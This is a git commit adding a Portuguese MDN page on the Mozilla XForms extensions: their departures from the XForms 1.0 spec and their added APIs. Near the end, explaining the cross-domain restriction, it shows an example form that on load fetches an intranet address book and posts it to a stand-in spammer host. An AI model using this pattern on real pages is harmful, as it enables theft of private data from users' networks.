From 074785cea106179cb3305637055ab0a009ca74f2 Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Tue, 8 Dec 2020 14:42:52 -0500 Subject: initial commit --- .../pt-pt/xforms_especiais_para_mozilla/index.html | 92 ++++++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 files/pt-pt/xforms_especiais_para_mozilla/index.html (limited to 'files/pt-pt/xforms_especiais_para_mozilla') diff --git a/files/pt-pt/xforms_especiais_para_mozilla/index.html b/files/pt-pt/xforms_especiais_para_mozilla/index.html new file mode 100644 index 0000000000..9e931bd696 --- /dev/null +++ b/files/pt-pt/xforms_especiais_para_mozilla/index.html @@ -0,0 +1,92 @@ +--- +title: Mozilla XForms Specials +slug: XForms_especiais_para_Mozilla +tags: + - XForms +--- +

+

Introdução

+

Este artigo fornece um resumo onde Extensões Mozilla XForms desvia XForms 1.0 Especificação oficial . Este artigo cobre tanto limitações nas extensões como extensões customizadas. +

+

Limitações

+

Repetição usando atributos

+

De acordo com a especificação "Criando estruturas de repetição através de atributos", isto é parcialmente suportado. +

(limitação acompanhada no {{ Bug(280368) }}) +

+

Mistura de Repetição e table ou ul

+

Não é possível misturar repetições tanto com table ou ul. Isto significa que não é possível fazer o seguinte: +

+
+
<table>
+  <xf:repeat ...>
+    <tr> ... </tr>
+  </xf:repeat>
+</table>
+
+
+

ou +

+
+
<ul>
+  <xf:repeat ...>
+    <li> ... </li>
+  </xf:repeat>
+</ul>
+
+
+

Section 9.3.2 determina que a mistura com table provávelmente nunca funcionará. A mistura com ul pode sofrer a mesma limitação mas não deve travar o sistema ({{ Bug(330022) }}). +

+

Suporte a pseudo classes

+

Atualmente suportamos todas as pseudo classes em XForms (:enabled, :disabled, etc. ), exceto para :read-only e :read-write, por causa de comportamento não especificado destes para (X)HTML. No momento precisa usar :-moz-read-only e :-moz-read-write. +

(limitação acompanhada no {{ Bug(313111) }}) +

+

Suporte a pseudo elemento

+

Não existe suporte para os pseudo elementos (::value, ::repeat-item, e ::repeat-index ). Você deve usar as seguintes classes normais: +

+ +

Por exemplo, para direcionar o elemento valor de um controle input use: +

+
@namespace xf url("http://www.w3.org/2002/xforms");
+xf|input .xf-value {
+  ...
+}
+
+

Os pseudo elementos são definidos na CSS3 Especificação básica de usuário . +

(limitação acompanhada no {{ Bug(271724) }}) +

+

Extensões

+

Enumerando Instâncias

+

O nsIXFormsModelElement standardizado não permite enumerar todas as instâncias possíveis mas somente chamar instâncias pelo seu nome. No Extensões Mozilla XForms adicionamos a função getInstanceDocuments() ao model que retorna todos os documentos de instância do modelo. Isto encontra-se documentado no nsIXFormsNSModelElement. +

+

Chegando ao elemento de instância a partir de um nó de dados

+

Na especificação XForms 1.0 não existe caminho de chegar ao elemento instance desde um nó de dados de instância. Adicionamos uma função através de chamado getFeature() em cada nó, que permite o autor do formulário a fazê-lo. Isto é, se instanceNode é um nó num documento de instância, então: +

+
instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
+
+

retornará elemento <instance> (no documento principal) ao que o nó pertence. +

+

Chegando ao documento de instância através do elemento de instância

+

Pela especificação XForms 1.0 deve passar pelo elemento model para chegar ao documento de instância. Parece um pouco desajeitado se você tem o elemento instance, então nós adicionamos uma função getInstanceDocument() diretamente no elemento instance como um atalho. Isso está documentado em nsIXFormsNSInstanceElement. +

+

Interface de controle customizada

+

Nós adicinamos muitas funcionalidades à nossa interface de usuário que permitem aos tipos de autores criarem controles customizados. Isto envolve a exposição de algumas funcionalidades (script) em todos nossos controles, como output, input, etc. e permitindo à interface de usuário ser representada em XBL. Mais informação pode ser encontrada em Controles Customizados. +

+

Miscelânea

+

Submissão de Domínio Cruzado

+

Não é exatamente uma limitação, ou uma extensão, mas é válido mencionar aqui. Por razões de segurança, não é possível por padrão para um XForms aceitar dados de outro domínio. Isto é devido a razões de segurança.  Informações sobre como o domínio whitelist pode ser encontrado em Release Notes

+

A checagem de domínio cruzado também inclui formulários carregados de file://. Formulários carregados desta URL devem ser arquivos locais, e assim confiáveis, mas este não é sempre o caso. Então não há um "whitelisting" de arquivos locais automático.

+

Se você está espantado com o porque de termos esta restrição, aqui está um simples exemplo do porque:

+
<xforms:model>
+  <xforms:instance src="http://intranetserver/addrbook.xml"/>
+  <xforms:submission id="sub" action="http://megaspammer.com/gather"
+                     method="post"/>
+  <xforms:send submission="sub" ev:event="xforms-ready"/>
+</xforms:model>
+
+

This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) http://intranetserver/addrbook.xml, and send it to http://megaspammer.com/gather as soon as you view the XForm.

+

Categorias

+

Interwiki Language Links

+

{{ languages( { "en": "en/XForms/Mozilla_XForms_Specials" } ) }}

-- cgit v1.2.3-54-g00ecf